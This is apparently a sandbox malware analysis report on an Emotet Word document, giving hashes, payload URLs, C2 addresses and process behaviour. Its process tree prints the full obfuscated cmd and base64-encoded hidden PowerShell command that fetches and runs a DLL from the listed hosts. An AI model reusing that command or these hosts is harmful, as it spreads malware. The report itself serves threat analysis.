Analysis
-
max time kernel
142s -
max time network
143s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
11-02-2021 19:42
Behavioral task
behavioral1
Sample
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc
Resource
win7v20201028
General
-
Target
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc
-
Size
164KB
-
MD5
02b2dee96e10003270606dfd7e059d23
-
SHA1
defe94b8ae07e6c5db6942bc7d020b615c4ba75d
-
SHA256
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe
-
SHA512
4ebd0002c4c75788efdcd928d86da802c0a7d7152e96d6d900c72c656e14fbe62562aa8dff5f409ef1c158fb36c3e05a065c07093b104d3ae10e7ff0cc7c02a4
Malware Config
Extracted
http://www.achutamanasa.com/media/Te/
http://opticaquilin.cl/wp-includes/FFueL/
https://www.infoquick.co.uk/assets/h/
http://vilajansen.com.br/loja_old_1/p/
http://oftalmovilaplana.com/wp-includes/wfKu/
https://cashyinvestment.org/wp-content/21dIZ/
http://merkadito.mx/upload/6/
Extracted
emotet
Epoch2
12.175.220.98:80
162.241.204.233:8080
50.116.111.59:8080
172.86.188.251:8080
139.99.158.11:443
66.57.108.14:443
75.177.207.146:80
194.190.67.75:80
50.245.107.73:443
173.70.61.180:80
85.105.205.77:8080
104.131.11.150:443
62.75.141.82:80
70.92.118.112:80
194.4.58.192:7080
120.150.60.189:80
24.231.88.85:80
78.24.219.147:8080
110.142.236.207:80
119.59.116.21:8080
144.217.7.207:7080
95.213.236.64:8080
46.105.131.79:8080
176.111.60.55:8080
174.118.202.24:443
94.23.237.171:443
138.68.87.218:443
110.145.101.66:443
134.209.144.106:443
74.208.45.104:8080
24.178.90.49:80
172.125.40.123:80
157.245.99.39:8080
118.83.154.64:443
202.134.4.211:8080
121.124.124.40:7080
172.104.97.173:8080
110.145.11.73:80
172.105.13.66:443
168.235.67.138:7080
78.188.225.105:80
59.21.235.119:80
185.94.252.104:443
24.179.13.119:80
49.205.182.134:80
51.89.36.180:443
115.21.224.117:80
202.134.4.216:8080
190.251.200.206:80
78.189.148.42:80
220.245.198.194:80
85.105.111.166:80
5.39.91.110:7080
203.153.216.189:7080
93.146.48.84:80
181.165.68.127:80
70.183.211.3:80
47.144.21.37:80
167.114.153.111:8080
75.109.111.18:80
24.69.65.8:8080
188.165.214.98:8080
187.161.206.24:80
74.58.215.226:80
74.128.121.17:80
24.164.79.147:8080
139.59.60.244:8080
136.244.110.184:8080
2.58.16.89:8080
79.137.83.50:443
139.162.60.124:8080
89.216.122.92:80
188.219.31.12:80
190.103.228.24:80
109.74.5.95:8080
87.106.139.101:8080
78.182.254.231:80
74.40.205.197:443
89.106.251.163:80
69.49.88.46:80
62.171.142.179:8080
217.20.166.178:7080
161.0.153.60:80
37.187.72.193:8080
190.240.194.77:443
5.2.212.254:80
200.116.145.225:443
98.109.133.80:80
75.113.193.72:80
115.94.207.99:443
109.116.245.80:80
123.176.25.234:80
120.150.218.241:443
50.91.114.38:80
180.222.161.85:80
186.74.215.34:80
95.9.5.93:80
64.207.182.168:8080
197.211.245.21:80
61.19.246.238:443
37.139.21.175:8080
181.171.209.241:443
185.201.9.197:8080
71.72.196.159:80
41.185.28.84:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1436 1552 cmd.exe -
Blocklisted process makes network request 13 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 568 powershell.exe 8 568 powershell.exe 10 568 powershell.exe 12 568 powershell.exe 14 568 powershell.exe 16 568 powershell.exe 18 568 powershell.exe 20 568 powershell.exe 22 676 rundll32.exe 23 676 rundll32.exe 26 676 rundll32.exe 29 676 rundll32.exe 30 676 rundll32.exe -
Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 1680 rundll32.exe 1680 rundll32.exe 1680 rundll32.exe 1680 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
rundll32.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Tktjvzm\ttmale.lry rundll32.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 384 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exerundll32.exepid process 568 powershell.exe 568 powershell.exe 676 rundll32.exe 676 rundll32.exe 676 rundll32.exe 676 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 568 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 384 WINWORD.EXE 384 WINWORD.EXE -
Suspicious use of WriteProcessMemory 37 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1436 wrote to memory of 684 1436 cmd.exe msg.exe PID 1436 wrote to memory of 684 1436 cmd.exe msg.exe PID 1436 wrote to memory of 684 1436 cmd.exe msg.exe PID 1436 wrote to memory of 568 1436 cmd.exe powershell.exe PID 1436 wrote to memory of 568 1436 cmd.exe powershell.exe PID 1436 wrote to memory of 568 1436 cmd.exe powershell.exe PID 568 wrote to memory of 1304 568 powershell.exe rundll32.exe PID 568 wrote to memory of 1304 568 powershell.exe rundll32.exe PID 568 wrote to memory of 1304 568 powershell.exe rundll32.exe PID 1304 wrote to memory of 1680 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1680 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1680 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1680 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1680 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1680 1304 rundll32.exe rundll32.exe PID 1304 wrote to memory of 1680 1304 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1388 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1388 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1388 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1388 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1388 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1388 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1388 1680 rundll32.exe rundll32.exe PID 1388 wrote to memory of 332 1388 rundll32.exe rundll32.exe PID 1388 wrote to memory of 332 1388 rundll32.exe rundll32.exe PID 1388 wrote to memory of 332 1388 rundll32.exe rundll32.exe PID 1388 wrote to memory of 332 1388 rundll32.exe rundll32.exe PID 1388 wrote to memory of 332 1388 rundll32.exe rundll32.exe PID 1388 wrote to memory of 332 1388 rundll32.exe rundll32.exe PID 1388 wrote to memory of 332 1388 rundll32.exe rundll32.exe PID 332 wrote to memory of 676 332 rundll32.exe rundll32.exe PID 332 wrote to memory of 676 332 rundll32.exe rundll32.exe PID 332 wrote to memory of 676 332 rundll32.exe rundll32.exe PID 332 wrote to memory of 676 332 rundll32.exe rundll32.exe PID 332 wrote to memory of 676 332 rundll32.exe rundll32.exe PID 332 wrote to memory of 676 332 rundll32.exe rundll32.exe PID 332 wrote to memory of 676 332 rundll32.exe rundll32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8A